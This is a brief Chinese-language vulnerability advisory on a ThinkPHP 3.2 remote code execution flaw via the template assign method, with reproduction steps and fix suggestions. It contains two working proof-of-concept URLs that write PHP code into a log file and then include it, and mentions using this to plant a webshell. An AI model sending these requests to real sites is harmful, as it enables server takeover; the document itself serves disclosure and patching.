ThinkPHP 3.2远程代码执行漏洞
ThinkPHP 3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。
复现:
https://网址/index.php?m=--><?=phpinfo();?>
目的:通过错误的m参数导致thinkphp报错,写入至日志文件
https://网址/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/24_04_07.log log文件名为当前日期
通过篡改模板文件的路径导致被注入的在此处执行,通过该注入方式,将可以上传webshell获取网站的最终权限。
该漏洞在thinkphp 3.2.5内已修复
修复建议:
1.修改日志文件的命名规则,加入随机字符串来防止被猜测数文件名称。
2.限制模板文件的引用后缀名检查,防止越界访问文件。